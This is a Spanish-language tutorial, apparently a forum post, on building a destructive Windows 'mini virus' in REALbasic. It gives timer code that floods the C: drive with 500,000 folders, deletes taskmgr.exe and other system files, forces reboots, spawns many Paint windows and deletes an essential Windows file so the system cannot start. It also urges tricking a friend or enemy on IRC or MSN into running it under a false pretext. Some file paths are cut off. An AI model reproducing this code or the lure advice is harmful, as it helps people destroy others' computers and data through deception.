Mini Virus

Que Necesitaremos?
Solamente Lenguaje de Programacion Real Basic 2005 o 2006.
Descargalo de www.realsoftware.com o del Mismo Google.

Crea un Formulario Ejemplo Window1.
Despues Crea 3 Timers, Solamente Usaremos Eso.
Doble Click en el Formulario y Dentro de el Ponemos Este Codigo:

dim f as folderitem
Dim tmpcount as Integer

for tmpcount=1 to 500000
f=getfolderitem("c:\Poison San" + cstr(tmpcount))
f.CreateAsFolder
next tmpcount
Timer4.enabled = true
Timer5.enabled = true

Eso se Ignifica que en la Unidad C Se Crearan 500000 Carpetas Con el Nombre Poison San y Que el Timer4 y Timer5 Entraran en Accion.
Despues en el Timer1 Ponemos el Mismo Codigo:

dim f as folderitem
Dim tmpcount as Integer

for tmpcount=1 to 500000
f=getfolderitem("c:\Poison San" + cstr(tmpcount))
f.CreateAsFolder
next tmpcount

Hasta ahi Vamos Bien..
En el Timer2 Ponemos este Otro Codigo:

Dim FolItem as FolderItem
folitem=GetTrueFolderItem("C:\...
if folitem<>nil then
try
FolItem.Delete
catch
Msgbox "Borrando tus *******" + cstr(folitem.lasterrorcode)
end try
end if

Este Otro Codigo Quiere Decir que el taskmgr.exe de la Direccion C:\WINDOWS\system32\taskmgr.ex... Sera Borrado Completamente y Enviara un Mensaje ala Victima ( MsgBox "Mensaje" ) Borrando tus *******, El Cual puede ser Mensaje que Gustes.
En el Timer3 Ponemos un Codigo Parecido a este..

Dim FolItem as FolderItem
folitem=GetTrueFolderItem("C:\...
if folitem<>nil then
try
FolItem.Delete
catch
Msgbox "Error deleting folder" + cstr(folitem.lasterrorcode)
end try
end if

El Cual Quiere Decir que Borrara vbconfig.sys, Un Archivo muy Util para Windows.
Tu Puedes Crear Otros Timers Mas Con el Mismo Codigo, Simplemente Cambia la Dirreccion a Borrar Osea Seria Esta: C:\WINDOWS\vbaconfig.sys, Puedes Cambiarla a C:\WINDOWS\system32 o Algo asi, Eso se lo dejo a tu Imaginacion.

Crea el Timer4 y Dentro de el Ponemos el Siguiente Codigo:

killhost

Es Todo...
Luego Doble Click al Formulario y Agregamos un Method y lo Nombramos como killhost.
En el Method ya Nombrado como se Debe ponemos este Codigo:

Declare Function ExitWindowsEx Lib "user32.dll" (flg As Integer, rea as Integer) As Boolean
If not ExitWindowsEx(4, 0) Then MsgBox "Could not shutdown"

Esto Quiere Decir que el Timer4 Desconectara una Ves el dll "user32.dll"
Osea que la Pc Victima sera Reiniciada y Enviara el Mensaje Culd not shutdown!!

Hasta Ahorita el Virus va Sensacionalmente Hermoso!!
Por Ultimo..
Creamos el Timer5!!
Dentro del Timer5 Ponemos el Siguiente Codigo:

showurl "C:\WINDOWS\System32\mspaint.e...

Esto Quiere Decir que Se Abriran 100,000 Paints Trabando la Pc Victima con Ayuda del Codigo Pasado killhost.
Ultimo Detalle para Tener Nuestro Virus Correctamente..
Algo Muy Facil..Creamos Ultimo Timer Llamado Timer6, Dentro del Timer Ponemos este Codigo Cual sirve para Borrar algun Archivo...

Dim FolItem as FolderItem
folitem=GetTrueFolderItem("C:\...
if folitem<>nil then
try
FolItem.Delete
catch
Msgbox "Error deleting folder" + cstr(folitem.lasterrorcode)
end try
end if

Cual Sirve para Borrar un Archivo Sumamente Importante!!

¿Qué Hace Este Virus o Programa?

Tu Se lo Enviaras Algun Amigito o Enemigo de IRC Chat, Msn Etc.
Inventale alguna Excusa para que lo Ejecute, Ejemplo "Hey Abre este Programa Sirve para Hackear MSN"
En Fin es tu Imaginacion...
La Victima al Abrir el Programa se le Crearan 500000 Carpetas con el Nombre Poison San en la Unidad C, Llenandole la Mitad de Espacio en el Disco Duro!!
Despues de Eso, Los Archivos taskmgr.exe y vbaconfig.sys Seran Borrados del Systema, El Cual Produce que la Victima no Pueda Usar alt+supr Intentando Terminar Proceso del Programa.Despues Como el Proceso de Borrar estos Archivos Dura Tiempo, Al Mismo Tiempo Su Pc Se le Reiniciara!!Si Algo Falla en la Reiniciada, 100.000 Paints se le Abriran Trabando su Pc y Obligando a Reiniciar.
El Daño que tu Hisite Fue Malvado!!Ya que Le Llenaste la Mitad de su Disco Duro de Carpetas y Jamas Volbera a Utilisar alt+supr, Obligandolo a Formatear.
Pero eso no es Todo..El Timer6 Despues de Todo eso..Carpetas, Paints y Archivos Borrados Borrara un Archivo Esencial de Windows!!El Cual Cuando la Victima Reinicie o Apage su Pc, Al Volber a Querer entrar a Windows No Podra!!
Su Pc Se Reiniciara Cada ves que Trate de Entrar a Windows!!Genial No?xD
Unica Manera de Salvarse de eso es Terminar Proceso y eso no se va Poder